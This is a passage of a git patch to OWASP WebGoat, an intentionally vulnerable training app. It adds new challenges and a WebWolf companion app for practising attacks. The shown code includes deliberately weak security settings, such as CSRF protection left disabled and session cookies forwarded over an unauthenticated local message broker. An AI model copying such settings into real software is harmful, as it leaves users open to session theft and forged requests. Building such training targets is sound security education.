From 46c536554c93308cb037d45f52eaf1a91394c109 Mon Sep 17 00:00:00 2001 From: Nanne Baars Date: Sun, 13 Aug 2017 11:22:52 +0200 Subject: [PATCH 1/7] - Added new challenges - Added new webapplication called WebWolf to make attacks more realistic - Added WebWolf lesson to explain the concepts behind this new application --- pom.xml | 2 + webgoat-commons/pom.xml | 37 + .../org/owasp/webgoat/login/LoginEvent.java | 15 + .../org/owasp/webgoat/login/LogoutEvent.java | 14 + .../owasp/webgoat/mail/IncomingMailEvent.java | 21 + webgoat-container/pom.xml | 47 +- .../java/org/owasp/webgoat/HammerHead.java | 42 +- .../java/org/owasp/webgoat/JmsConfig.java | 35 + .../org/owasp/webgoat/MvcConfiguration.java | 8 +- .../main/java/org/owasp/webgoat/WebGoat.java | 14 +- .../org/owasp/webgoat/WebSecurityConfig.java | 6 +- .../assignments/AssignmentEndpoint.java | 4 + .../owasp/webgoat/login/LogoutHandler.java | 47 ++ .../owasp/webgoat/plugins/PluginsLoader.java | 1 + .../webgoat/users/RegistrationController.java | 23 +- .../org/owasp/webgoat/users/Scoreboard.java | 3 +- .../org/owasp/webgoat/users/UserSession.java | 21 + .../src/main/resources/application.properties | 5 + .../main/resources/i18n/messages.properties | 2 +- .../resources/static/css/img/owasp_logo.jpg | Bin 0 -> 57346 bytes .../src/main/resources/static/css/main.css | 2 +- .../js/goatApp/templates/scoreboard.html | 4 +- .../owasp/webgoat/plugins/JmsTestConfig.java | 19 + .../org/owasp/webgoat/plugins/LessonTest.java | 2 + .../java/org/owasp/webgoat/plugin/Flag.java | 2 +- .../webgoat/plugin/SolutionConstants.java | 4 +- .../plugin/challenge3/Assignment3.java | 12 +- .../challenge5/challenge6/Assignment5.java | 8 + .../plugin/challenge7/Assignment7.java | 84 +++ .../webgoat/plugin/challenge7/Challenge7.java | 39 + .../owasp/webgoat/plugin/challenge7/MD5.java | 689 ++++++++++++++++++ .../plugin/challenge7/PasswordResetLink.java | 43 ++ .../plugin/challenge8/Assignment8.java | 68 ++ .../webgoat/plugin/challenge8/Challenge8.java | 39 + .../plugin/challenge9/Assignment9.java | 159 ++++ .../webgoat/plugin/challenge9/Challenge9.java | 39 + .../plugin/challenge9/PasswordChangeForm.java | 22 + .../src/main/resources/challenge7/git.zip | Bin 0 -> 28890 bytes .../src/main/resources/css/challenge8.css | 43 ++ .../src/main/resources/html/Challenge7.html | 82 +++ .../src/main/resources/html/Challenge8.html | 255 +++++++ .../src/main/resources/html/Challenge9.html | 109 +++ .../resources/i18n/WebGoatLabels.properties | 15 +- .../src/main/resources/images/hi-five-cat.jpg | Bin 0 -> 40693 bytes .../src/main/resources/images/user1.png | Bin 0 -> 1580 bytes .../src/main/resources/images/user2.png | Bin 0 -> 1771 bytes .../src/main/resources/images/user3.png | Bin 0 -> 2077 bytes .../src/main/resources/js/challenge8.js | 57 ++ .../src/main/resources/js/challenge9.js | 10 + .../resources/lessonPlans/en/Challenge_7.adoc | 1 + .../resources/lessonPlans/en/Challenge_8.adoc | 1 + .../resources/lessonPlans/en/Challenge_9.adoc | 3 + .../templates/password_link_not_found.html | 19 + .../resources/templates/password_reset.html | 48 ++ .../src/main/resources/templates/success.html | 19 + webgoat-lessons/pom.xml | 1 + .../resources/html/SqlInjectionAdvanced.html | 4 +- webgoat-lessons/webwolf-introduction/pom.xml | 11 + .../webgoat/plugin/LandingAssignment.java | 48 ++ .../owasp/webgoat/plugin/MailAssignment.java | 55 ++ .../webgoat/plugin/WebWolfIntroduction.java | 63 ++ .../resources/html/WebWolfIntroduction.html | 99 +++ .../resources/i18n/WebGoatLabels.properties | 9 + .../src/main/resources/images/files.png | Bin 0 -> 26417 bytes .../src/main/resources/images/mailbox.png | Bin 0 -> 55853 bytes .../src/main/resources/images/requests.png | Bin 0 -> 58485 bytes .../lessonPlans/en/Introduction.adoc | 21 + .../lessonPlans/en/Landing_page.adoc | 25 + .../lessonPlans/en/Receiving_mail.adoc | 18 + .../lessonPlans/en/Uploading_files.adoc | 12 + .../templates/webwolfPasswordReset.html | 34 + webgoat-server/pom.xml | 27 +- .../java/org/owasp/webgoat/StartWebGoat.java | 6 +- webwolf/README.md | 46 ++ webwolf/pom.xml | 111 +++ .../java/org/owasp/webwolf/FileServer.java | 89 +++ .../org/owasp/webwolf/MvcConfiguration.java | 43 ++ .../org/owasp/webwolf/WebSecurityConfig.java | 84 +++ .../main/java/org/owasp/webwolf/WebWolf.java | 59 ++ .../java/org/owasp/webwolf/mailbox/Email.java | 42 ++ .../webwolf/mailbox/MailboxController.java | 35 + .../webwolf/mailbox/MailboxListener.java | 37 + .../webwolf/mailbox/MailboxRepository.java | 16 + .../org/owasp/webwolf/requests/Requests.java | 69 ++ .../requests/WebWolfTraceRepository.java | 105 +++ .../org/owasp/webwolf/user/LoginListener.java | 33 + .../owasp/webwolf/user/UserRepository.java | 12 + .../org/owasp/webwolf/user/UserService.java | 30 + .../org/owasp/webwolf/user/WebGoatUser.java | 69 ++ .../owasp/webwolf/user/WebGoatUserCookie.java | 22 + .../user/WebGoatUserToCookieRepository.java | 14 + .../src/main/resources/application.properties | 41 ++ .../src/main/resources/static/css/main.css | 87 +++ .../src/main/resources/static/images/wolf.png | Bin 0 -> 5953 bytes .../src/main/resources/static/images/wolf.svg | 80 ++ .../main/resources/static/js/fileUpload.js | 15 + webwolf/src/main/resources/static/js/mail.js | 10 + .../src/main/resources/templates/files.html | 72 ++ .../resources/templates/fragments/footer.html | 19 + .../resources/templates/fragments/header.html | 51 ++ .../src/main/resources/templates/home.html | 37 + .../src/main/resources/templates/login.html | 58 ++ .../src/main/resources/templates/mailbox.html | 150 ++++ .../main/resources/templates/requests.html | 56 ++ 104 files changed, 4199 insertions(+), 70 deletions(-) create mode 100644 webgoat-commons/pom.xml create mode 100644 webgoat-commons/src/main/java/org/owasp/webgoat/login/LoginEvent.java create mode 100644 webgoat-commons/src/main/java/org/owasp/webgoat/login/LogoutEvent.java create mode 100644 webgoat-commons/src/main/java/org/owasp/webgoat/mail/IncomingMailEvent.java create mode 100644 webgoat-container/src/main/java/org/owasp/webgoat/JmsConfig.java create mode 100644 webgoat-container/src/main/java/org/owasp/webgoat/login/LogoutHandler.java create mode 100644 webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java create mode 100644 webgoat-container/src/main/resources/static/css/img/owasp_logo.jpg create mode 100644 webgoat-container/src/test/java/org/owasp/webgoat/plugins/JmsTestConfig.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Assignment7.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Challenge7.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/MD5.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/PasswordResetLink.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Assignment8.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge8/Challenge8.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Assignment9.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/Challenge9.java create mode 100644 webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge9/PasswordChangeForm.java create mode 100644 webgoat-lessons/challenge/src/main/resources/challenge7/git.zip create mode 100644 webgoat-lessons/challenge/src/main/resources/css/challenge8.css create mode 100644 webgoat-lessons/challenge/src/main/resources/html/Challenge7.html create mode 100644 webgoat-lessons/challenge/src/main/resources/html/Challenge8.html create mode 100644 webgoat-lessons/challenge/src/main/resources/html/Challenge9.html create mode 100644 webgoat-lessons/challenge/src/main/resources/images/hi-five-cat.jpg create mode 100644 webgoat-lessons/challenge/src/main/resources/images/user1.png create mode 100644 webgoat-lessons/challenge/src/main/resources/images/user2.png create mode 100644 webgoat-lessons/challenge/src/main/resources/images/user3.png create mode 100644 webgoat-lessons/challenge/src/main/resources/js/challenge8.js create mode 100644 webgoat-lessons/challenge/src/main/resources/js/challenge9.js create mode 100644 webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_7.adoc create mode 100644 webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_8.adoc create mode 100644 webgoat-lessons/challenge/src/main/resources/lessonPlans/en/Challenge_9.adoc create mode 100644 webgoat-lessons/challenge/src/main/resources/templates/password_link_not_found.html create mode 100644 webgoat-lessons/challenge/src/main/resources/templates/password_reset.html create mode 100644 webgoat-lessons/challenge/src/main/resources/templates/success.html create mode 100644 webgoat-lessons/webwolf-introduction/pom.xml create mode 100644 webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/LandingAssignment.java create mode 100644 webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/MailAssignment.java create mode 100644 webgoat-lessons/webwolf-introduction/src/main/java/org/owasp/webgoat/plugin/WebWolfIntroduction.java create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/i18n/WebGoatLabels.properties create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/images/files.png create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/images/mailbox.png create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/images/requests.png create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Introduction.adoc create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Landing_page.adoc create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Receiving_mail.adoc create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/lessonPlans/en/Uploading_files.adoc create mode 100644 webgoat-lessons/webwolf-introduction/src/main/resources/templates/webwolfPasswordReset.html create mode 100644 webwolf/README.md create mode 100644 webwolf/pom.xml create mode 100644 webwolf/src/main/java/org/owasp/webwolf/FileServer.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/MvcConfiguration.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/WebSecurityConfig.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/WebWolf.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/mailbox/Email.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxController.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxListener.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/mailbox/MailboxRepository.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/requests/Requests.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/requests/WebWolfTraceRepository.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/user/LoginListener.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/user/UserRepository.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/user/UserService.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUser.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUserCookie.java create mode 100644 webwolf/src/main/java/org/owasp/webwolf/user/WebGoatUserToCookieRepository.java create mode 100644 webwolf/src/main/resources/application.properties create mode 100644 webwolf/src/main/resources/static/css/main.css create mode 100644 webwolf/src/main/resources/static/images/wolf.png create mode 100644 webwolf/src/main/resources/static/images/wolf.svg create mode 100644 webwolf/src/main/resources/static/js/fileUpload.js create mode 100644 webwolf/src/main/resources/static/js/mail.js create mode 100644 webwolf/src/main/resources/templates/files.html create mode 100644 webwolf/src/main/resources/templates/fragments/footer.html create mode 100644 webwolf/src/main/resources/templates/fragments/header.html create mode 100644 webwolf/src/main/resources/templates/home.html create mode 100644 webwolf/src/main/resources/templates/login.html create mode 100644 webwolf/src/main/resources/templates/mailbox.html create mode 100644 webwolf/src/main/resources/templates/requests.html diff --git a/pom.xml b/pom.xml index 79c12a753..1ff00fd25 100644 --- a/pom.xml +++ b/pom.xml @@ -172,9 +172,11 @@ + webgoat-commons webgoat-container webgoat-lessons webgoat-server + webwolf diff --git a/webgoat-commons/pom.xml b/webgoat-commons/pom.xml new file mode 100644 index 000000000..35dc173e9 --- /dev/null +++ b/webgoat-commons/pom.xml @@ -0,0 +1,37 @@ + + 4.0.0 + webgoat-commons + jar + + org.owasp.webgoat + webgoat-parent + 8.0-SNAPSHOT + + + + + + org.projectlombok + lombok + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + ${maven-compiler-plugin.version} + + 1.8 + 1.8 + ISO-8859-1 + + + + + + + diff --git a/webgoat-commons/src/main/java/org/owasp/webgoat/login/LoginEvent.java b/webgoat-commons/src/main/java/org/owasp/webgoat/login/LoginEvent.java new file mode 100644 index 000000000..42c5f384c --- /dev/null +++ b/webgoat-commons/src/main/java/org/owasp/webgoat/login/LoginEvent.java @@ -0,0 +1,15 @@ +package org.owasp.webgoat.login; + +import lombok.AllArgsConstructor; +import lombok.Data; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Data +@AllArgsConstructor +public class LoginEvent { + private String user; + private String cookie; +} diff --git a/webgoat-commons/src/main/java/org/owasp/webgoat/login/LogoutEvent.java b/webgoat-commons/src/main/java/org/owasp/webgoat/login/LogoutEvent.java new file mode 100644 index 000000000..4e6995b08 --- /dev/null +++ b/webgoat-commons/src/main/java/org/owasp/webgoat/login/LogoutEvent.java @@ -0,0 +1,14 @@ +package org.owasp.webgoat.login; + +import lombok.AllArgsConstructor; +import lombok.Data; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AllArgsConstructor +@Data +public class LogoutEvent { + private String user; +} \ No newline at end of file diff --git a/webgoat-commons/src/main/java/org/owasp/webgoat/mail/IncomingMailEvent.java b/webgoat-commons/src/main/java/org/owasp/webgoat/mail/IncomingMailEvent.java new file mode 100644 index 000000000..a33002839 --- /dev/null +++ b/webgoat-commons/src/main/java/org/owasp/webgoat/mail/IncomingMailEvent.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.mail; + +import lombok.Builder; +import lombok.Data; + +import java.time.LocalDateTime; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Builder +@Data +public class IncomingMailEvent { + + private LocalDateTime time; + private String contents; + private String sender; + private String title; + private String recipient; +} \ No newline at end of file diff --git a/webgoat-container/pom.xml b/webgoat-container/pom.xml index 50950734a..ec6c79c81 100644 --- a/webgoat-container/pom.xml +++ b/webgoat-container/pom.xml @@ -34,6 +34,23 @@ + + local + + true + + + + de.flapdoodle.embed + de.flapdoodle.embed.mongo + + + + + + ctf + + @@ -132,6 +149,19 @@ + + org.owasp.webgoat + webgoat-commons + ${project.version} + + + com.fasterxml.jackson.datatype + jackson-datatype-jsr310 + + + org.projectlombok + lombok + org.projectlombok lombok @@ -144,6 +174,19 @@ org.springframework.boot spring-boot-starter-actuator + + org.springframework.boot + spring-boot-starter-cache + + + org.springframework.boot + spring-boot-starter-activemq + + + org.springframework + spring-jms + + org.asciidoctor asciidoctorj @@ -153,10 +196,6 @@ org.springframework.boot spring-boot-starter-data-mongodb - - de.flapdoodle.embed - de.flapdoodle.embed.mongo - org.apache.commons commons-lang3 diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/HammerHead.java b/webgoat-container/src/main/java/org/owasp/webgoat/HammerHead.java index e2a09ab3a..0eadd90a9 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/HammerHead.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/HammerHead.java @@ -1,11 +1,24 @@ package org.owasp.webgoat; +import lombok.AllArgsConstructor; +import org.owasp.webgoat.login.LoginEvent; import org.owasp.webgoat.session.Course; +import org.owasp.webgoat.users.WebGoatUser; +import org.springframework.jms.core.JmsTemplate; +import org.springframework.security.core.Authentication; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.servlet.ModelAndView; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.Optional; + +import static java.util.Optional.empty; +import static java.util.Optional.of; + /** * ************************************************************************************************* *

@@ -41,19 +54,38 @@ import org.springframework.web.servlet.ModelAndView; * @since October 28, 2003 */ @Controller +@AllArgsConstructor public class HammerHead { private final Course course; - - public HammerHead(Course course) { - this.course = course; - } + private JmsTemplate jmsTemplate; /** * Entry point for WebGoat, redirects to the first lesson found within the course. */ @RequestMapping(path = "/attack", method = {RequestMethod.GET, RequestMethod.POST}) - public ModelAndView attack() { + public ModelAndView attack(Authentication authentication, HttpServletRequest request, HttpServletResponse response) { + sendUserLoggedInMessage(request, response, authentication); return new ModelAndView("redirect:" + "start.mvc" + course.getFirstLesson().getLink()); } + + private void sendUserLoggedInMessage(HttpServletRequest request, HttpServletResponse response, Authentication authentication) { + WebGoatUser user = (WebGoatUser) authentication.getPrincipal(); + getWebGoatCookie(request).ifPresent(c -> { + jmsTemplate.convertAndSend("webgoat", new LoginEvent(user.getUsername(), c.getValue()), m -> { + m.setStringProperty("type", LoginEvent.class.getSimpleName()); + return m; + } + ); + }); + } + + private Optional getWebGoatCookie(HttpServletRequest request) { + for (Cookie c : request.getCookies()) { + if (c.getName().equals("JSESSIONID")) { + return of(c); + } + } + return empty(); + } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/JmsConfig.java b/webgoat-container/src/main/java/org/owasp/webgoat/JmsConfig.java new file mode 100644 index 000000000..9f9aa2fca --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/JmsConfig.java @@ -0,0 +1,35 @@ +package org.owasp.webgoat; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.apache.activemq.broker.BrokerService; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.jms.support.converter.MappingJackson2MessageConverter; +import org.springframework.jms.support.converter.MessageConverter; +import org.springframework.jms.support.converter.MessageType; + +/** + * @author nbaars + * @since 8/20/17. + */ +@Configuration +public class JmsConfig { + + @Bean(initMethod = "start", destroyMethod = "stop") + public BrokerService broker() throws Exception { + final BrokerService broker = new BrokerService(); + broker.addConnector("tcp://localhost:61616"); + broker.addConnector("vm://localhost"); + broker.setPersistent(false); + return broker; + } + + @Bean + public MessageConverter jacksonJmsMessageConverter(ObjectMapper objectMapper) { + MappingJackson2MessageConverter converter = new MappingJackson2MessageConverter(); + converter.setTargetType(MessageType.TEXT); + converter.setObjectMapper(objectMapper); + converter.setTypeIdPropertyName("_type"); + return converter; + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java b/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java index bf67aff33..e52cff71a 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/MvcConfiguration.java @@ -39,11 +39,9 @@ import org.owasp.webgoat.session.LabelDebugger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.context.ApplicationContext; -import org.springframework.context.MessageSource; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.core.io.ResourceLoader; -import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean; import org.springframework.web.servlet.LocaleResolver; import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry; import org.springframework.web.servlet.config.annotation.ViewControllerRegistry; @@ -154,13 +152,9 @@ public class MvcConfiguration extends WebMvcConfigurerAdapter { return slr; } - @Bean - public HammerHead hammerHead(Course course) { - return new HammerHead(course); - } - @Bean public LabelDebugger labelDebugger() { return new LabelDebugger(); } + } \ No newline at end of file diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/WebGoat.java b/webgoat-container/src/main/java/org/owasp/webgoat/WebGoat.java index 58b269168..ffbf9bb6d 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/WebGoat.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/WebGoat.java @@ -30,7 +30,6 @@ */ package org.owasp.webgoat; -import com.fasterxml.jackson.annotation.JsonInclude; import lombok.extern.slf4j.Slf4j; import org.apache.catalina.Context; import org.owasp.webgoat.plugins.PluginEndpointPublisher; @@ -49,10 +48,8 @@ import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedServletCon import org.springframework.boot.web.support.SpringBootServletInitializer; import org.springframework.context.ApplicationContext; import org.springframework.context.annotation.Bean; -import org.springframework.context.annotation.Primary; import org.springframework.context.annotation.Scope; import org.springframework.context.annotation.ScopedProxyMode; -import org.springframework.http.converter.json.Jackson2ObjectMapperBuilder; import java.io.File; import java.util.Arrays; @@ -70,15 +67,6 @@ public class WebGoat extends SpringBootServletInitializer { SpringApplication.run(WebGoat.class, args); } - @Bean - @Primary - public Jackson2ObjectMapperBuilder jacksonBuilder() { - Jackson2ObjectMapperBuilder builder = new Jackson2ObjectMapperBuilder(); - builder.indentOutput(true); - builder.serializationInclusion(JsonInclude.Include.NON_NULL); - return builder; - } - @Bean(name = "pluginTargetDirectory") public File pluginTargetDirectory(@Value("${webgoat.user.directory}") final String webgoatHome) { return new File(webgoatHome); @@ -93,7 +81,7 @@ public class WebGoat extends SpringBootServletInitializer { @Bean @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS) public UserSessionData userSessionData() { - return new UserSessionData("test","data"); + return new UserSessionData("test", "data"); } @Bean diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java b/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java index 7bc8e7f79..ff19cf3a9 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java @@ -31,6 +31,7 @@ package org.owasp.webgoat; import lombok.AllArgsConstructor; +import org.owasp.webgoat.login.LogoutHandler; import org.owasp.webgoat.users.UserService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; @@ -52,6 +53,7 @@ import org.springframework.security.core.userdetails.UserDetailsService; public class WebSecurityConfig extends WebSecurityConfigurerAdapter { private final UserService userDetailsService; + private final LogoutHandler logoutHandler; @Override protected void configure(HttpSecurity http) throws Exception { @@ -69,8 +71,8 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { .passwordParameter("password") .permitAll(); security.and() - .logout() - .permitAll(); + .logout().deleteCookies("JSESSIONID").invalidateHttpSession(true) + .permitAll().logoutSuccessHandler(logoutHandler); security.and().csrf().disable(); http.headers().cacheControl().disable(); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java b/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java index 584ed7155..c4713a054 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/assignments/AssignmentEndpoint.java @@ -108,4 +108,8 @@ public abstract class AssignmentEndpoint extends Endpoint { protected AttackResult.AttackResultBuilder failed() { return AttackResult.builder(messages).lessonCompleted(false).feedback("assignment.not.solved"); } + + protected AttackResult.AttackResultBuilder informationMessage() { + return AttackResult.builder(messages).lessonCompleted(false); + } } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/login/LogoutHandler.java b/webgoat-container/src/main/java/org/owasp/webgoat/login/LogoutHandler.java new file mode 100644 index 000000000..ce8eebc1e --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/login/LogoutHandler.java @@ -0,0 +1,47 @@ +package org.owasp.webgoat.login; + +import lombok.AllArgsConstructor; +import org.owasp.webgoat.users.WebGoatUser; +import org.springframework.jms.core.JmsTemplate; +import org.springframework.security.core.Authentication; +import org.springframework.security.web.authentication.logout.SimpleUrlLogoutSuccessHandler; +import org.springframework.stereotype.Component; + +import javax.servlet.ServletException; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.Optional; + +/** + * @author nbaars + * @since 8/20/17. + */ +@AllArgsConstructor +@Component +public class LogoutHandler extends SimpleUrlLogoutSuccessHandler { + + private JmsTemplate jmsTemplate; + + @Override + public void onLogoutSuccess(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse, Authentication authentication) throws IOException, ServletException { + if (authentication != null) { + WebGoatUser user = (WebGoatUser) authentication.getPrincipal(); + jmsTemplate.convertAndSend("webgoat", new LogoutEvent(user.getUsername()), m -> { + m.setStringProperty("type", LogoutEvent.class.getSimpleName()); + return m; + }); + } + super.onLogoutSuccess(httpServletRequest, httpServletResponse, authentication); + } + + private Optional findSessionCookie(Cookie[] cookies) { + for (Cookie cookie : cookies) { + if ("JSESSIONID".equals(cookie.getName())) { + return Optional.of(cookie); + } + } + return Optional.empty(); + } +} diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/plugins/PluginsLoader.java b/webgoat-container/src/main/java/org/owasp/webgoat/plugins/PluginsLoader.java index 20e193025..28437e786 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/plugins/PluginsLoader.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/plugins/PluginsLoader.java @@ -71,6 +71,7 @@ public class PluginsLoader { NewLesson lesson = null; try { lesson = (NewLesson) c.newInstance(); + log.trace("Lesson loaded: {}", lesson.getId()); } catch (Exception e) { log.error("Error while loading:" + c, e); } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/RegistrationController.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/RegistrationController.java index 5c7a4fff3..41eda0bda 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/RegistrationController.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/RegistrationController.java @@ -1,16 +1,16 @@ package org.owasp.webgoat.users; import lombok.AllArgsConstructor; +import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.springframework.security.authentication.AuthenticationManager; -import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; -import org.springframework.security.core.context.SecurityContextHolder; import org.springframework.stereotype.Controller; import org.springframework.validation.BindingResult; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.PostMapping; +import javax.servlet.http.HttpServletRequest; import javax.validation.Valid; /** @@ -32,29 +32,16 @@ public class RegistrationController { } @PostMapping("/register.mvc") - public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult) { + @SneakyThrows + public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) { userValidator.validate(userForm, bindingResult); if (bindingResult.hasErrors()) { return "registration"; } userService.addUser(userForm.getUsername(), userForm.getPassword()); - autologin(userForm.getUsername(), userForm.getPassword()); + request.login(userForm.getUsername(), userForm.getPassword()); return "redirect:/attack"; } - - private void autologin(String username, String password) { - WebGoatUser user = userService.loadUserByUsername(username); - UsernamePasswordAuthenticationToken usernamePasswordAuthenticationToken = new UsernamePasswordAuthenticationToken(user, password, user.getAuthorities()); - - authenticationManager.authenticate(usernamePasswordAuthenticationToken); - - if (usernamePasswordAuthenticationToken.isAuthenticated()) { - SecurityContextHolder.getContext().setAuthentication(usernamePasswordAuthenticationToken); - log.debug("Login for {} successfully!", username); - } - } - - } diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java index 1b08e35bc..aa8416d58 100644 --- a/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/Scoreboard.java @@ -45,10 +45,11 @@ public class Scoreboard { } private List challengesSolved(UserTracker userTracker) { - List challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5"); + List challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9"); return challenges.stream() .map(c -> userTracker.getLessonTracker(c)) .filter(l -> l.isPresent()).map(l -> l.get()) + .filter(l -> l.isLessonSolved()) .map(l -> l.getLessonName()) .map(l -> toLessonTitle(l)) .collect(Collectors.toList()); diff --git a/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java new file mode 100644 index 000000000..5e00333b4 --- /dev/null +++ b/webgoat-container/src/main/java/org/owasp/webgoat/users/UserSession.java @@ -0,0 +1,21 @@ +package org.owasp.webgoat.users; + +import lombok.AccessLevel; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.NoArgsConstructor; +import org.springframework.data.annotation.Id; + +/** + * @author nbaars + * @since 8/15/17. + */ +@Getter +@AllArgsConstructor +@NoArgsConstructor(access = AccessLevel.PROTECTED) +public class UserSession { + + private WebGoatUser webGoatUser; + @Id + private String sessionId; +} diff --git a/webgoat-container/src/main/resources/application.properties b/webgoat-container/src/main/resources/application.properties index aa20c6c47..abcbe6e3c 100644 --- a/webgoat-container/src/main/resources/application.properties +++ b/webgoat-container/src/main/resources/application.properties @@ -29,7 +29,12 @@ webgoat.database.driver=org.hsqldb.jdbcDriver webgoat.database.connection.string=jdbc:hsqldb:mem:{USER} webgoat.default.language=en +spring.jackson.serialization.indent_output=true +spring.jackson.serialization.write-dates-as-timestamps=false +spring.activemq.brokerUrl=tcp://localhost:61616 + +spring.data.mongodb.port=27017 spring.data.mongodb.database=webgoat spring.mongodb.embedded.storage.databaseDir=${webgoat.user.directory}/mongodb/ diff --git 